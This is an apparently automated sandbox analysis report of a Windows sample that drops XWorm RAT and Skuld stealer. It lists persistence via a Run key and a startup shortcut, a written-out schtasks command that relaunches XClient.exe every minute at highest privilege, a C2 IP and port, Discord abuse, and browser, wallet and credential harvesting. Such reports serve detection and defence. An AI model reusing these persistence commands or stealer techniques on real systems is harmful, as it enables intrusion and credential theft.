Malware Analysis Report

2024-12-07 20:19

Sample ID 241118-dah4zawlft
Target dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe
SHA256 dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30
Tags
skuld xworm persistence rat stealer trojan upx collection credential_access defense_evasion discovery execution privilege_escalation spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30

Threat Level: Known bad

The file dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe was found to be: Known bad.

Malicious Activity Summary

skuld xworm persistence rat stealer trojan upx collection credential_access defense_evasion discovery execution privilege_escalation spyware

Detect Xworm Payload

Skuld stealer

Xworm

Skuld family

Xworm family

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Reads user/profile data of web browsers

Clipboard Data

Loads dropped DLL

Unsecured Credentials: Credentials In Files

Executes dropped EXE

Checks computer location settings

Drops startup file

Adds Run key to start application

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Obfuscated Files or Information: Command Obfuscation

UPX packed file

Enumerates processes with tasklist

Event Triggered Execution: Netsh Helper DLL

Browser Information Discovery

Unsigned PE

Enumerates physical storage devices

System Network Configuration Discovery: Wi-Fi Discovery

Uses Task Scheduler COM API

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Gathers system information

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Detects videocard installed

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 02:48

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 02:48

Reported

2024-11-18 02:51

Platform

win7-20241010-en

Max time kernel

148s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Skuld family

skuld

Skuld stealer

stealer skuld

Xworm

trojan rat xworm

Xworm family

xworm

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\eternal.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" C:\Users\Admin\AppData\Roaming\eternal.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2660 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\eternal.exe
PID 2660 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\eternal.exe
PID 2660 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\eternal.exe
PID 2660 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\skuld.exe
PID 2660 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\skuld.exe
PID 2660 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\skuld.exe
PID 2660 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2660 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2660 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2316 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2316 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2316 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 2184 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\eternal.exe C:\Windows\System32\schtasks.exe
PID 2184 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\eternal.exe C:\Windows\System32\schtasks.exe
PID 2184 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Roaming\eternal.exe C:\Windows\System32\schtasks.exe
PID 3044 wrote to memory of 2064 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 2064 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 2064 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 2088 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 2088 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 2088 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 1944 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 1944 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 3044 wrote to memory of 1944 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\XClient.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe

"C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe"

C:\Users\Admin\AppData\Roaming\eternal.exe

"C:\Users\Admin\AppData\Roaming\eternal.exe"

C:\Users\Admin\AppData\Roaming\skuld.exe

"C:\Users\Admin\AppData\Roaming\skuld.exe"

C:\Users\Admin\AppData\Roaming\program.exe

"C:\Users\Admin\AppData\Roaming\program.exe"

C:\Users\Admin\AppData\Roaming\program.exe

"C:\Users\Admin\AppData\Roaming\program.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {E1484604-27E7-4E6B-AE1E-7E91CA1F55F9} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

Network

Country Destination Domain Proto
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp

Files

memory/2660-0-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

memory/2660-1-0x0000000001360000-0x00000000024F6000-memory.dmp

C:\Users\Admin\AppData\Roaming\eternal.exe

MD5 7439cc991a9a756c41153b8e9121baab
SHA1 c62528386e5f62ff2975cc8ed0cad3a7d362e632
SHA256 31a2b821e933bb193d94438d4a5aa036519535336c936d65b66889fb03164e2d
SHA512 cbdfd77671884407f8f4bd9c5251df5d8896b29bd004ea52460eda8a222df7492c69572e044376315624220f3ea66de3aff34323ea281591ca2975f90fa6dd51

memory/2184-7-0x00000000011D0000-0x00000000011E8000-memory.dmp

\Users\Admin\AppData\Roaming\skuld.exe

MD5 dbbd2127d1030e4c9548fdf7de9983a7
SHA1 5b7939a94cbd908ad8f57bb2e5328cce657c3700
SHA256 8e3601302c0294914808b6537cd27de961d087ba0807590b981b7f8c8aa5eee6
SHA512 95a1112c9b062745df9c20f566cfcb9421221111d02db0c1a940a5ea230b09c39a487685ae674c350e4641132e3360a19ca0cd8762f7e46cecde8b7dd85fe5d2

\Users\Admin\AppData\Roaming\program.exe

MD5 3e6865657b29faea3a355c710f0aad45
SHA1 ad9b98fa0f96685abc17aaab7fe4d65ac8fe34f7
SHA256 2c48f7bc874f1c812c0031519e756c28f940a58b2f64cdb40a08f1ccc798f671
SHA512 b360b5a244e83ee95719d7e781b9a49a29a5251e936619786b0151d0992aee33746109b3a8b0ab8d18c2788b738892c9b296c8c601025e16d850d730837b1615

C:\Users\Admin\AppData\Local\Temp\_MEI23162\python313.dll

MD5 6ef5d2f77064df6f2f47af7ee4d44f0f
SHA1 0003946454b107874aa31839d41edcda1c77b0af
SHA256 ab7c640f044d2eb7f4f0a4dfe5e719dfd9e5fcd769943233f5cece436870e367
SHA512 1662cc02635d63b8114b41d11ec30a2af4b0b60209196aac937c2a608588fee47c6e93163ea6bf958246c32759ac5c82a712ea3d690e796e2070ac0ff9104266

memory/2184-47-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

memory/2756-48-0x000007FEF2B70000-0x000007FEF31D3000-memory.dmp

memory/2184-55-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

memory/2184-56-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

memory/2184-77-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

memory/2064-81-0x00000000012C0000-0x00000000012D8000-memory.dmp

memory/1944-85-0x0000000000040000-0x0000000000058000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 02:48

Reported

2024-11-18 02:51

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Xworm family

xworm

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Roaming\program.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\eternal.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\skuld.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\eternal.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3968 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\eternal.exe
PID 3968 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\eternal.exe
PID 3968 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\skuld.exe
PID 3968 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\skuld.exe
PID 3968 wrote to memory of 348 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 3968 wrote to memory of 348 N/A C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 5084 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\skuld.exe C:\Windows\system32\attrib.exe
PID 5084 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\skuld.exe C:\Windows\system32\attrib.exe
PID 348 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 348 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Users\Admin\AppData\Roaming\program.exe
PID 1276 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\eternal.exe C:\Windows\System32\schtasks.exe
PID 1276 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Roaming\eternal.exe C:\Windows\System32\schtasks.exe
PID 1728 wrote to memory of 4296 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4296 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 4296 wrote to memory of 3844 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4296 wrote to memory of 3844 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\svchost.exe
PID 1728 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\svchost.exe
PID 1872 wrote to memory of 2072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1872 wrote to memory of 2072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1728 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
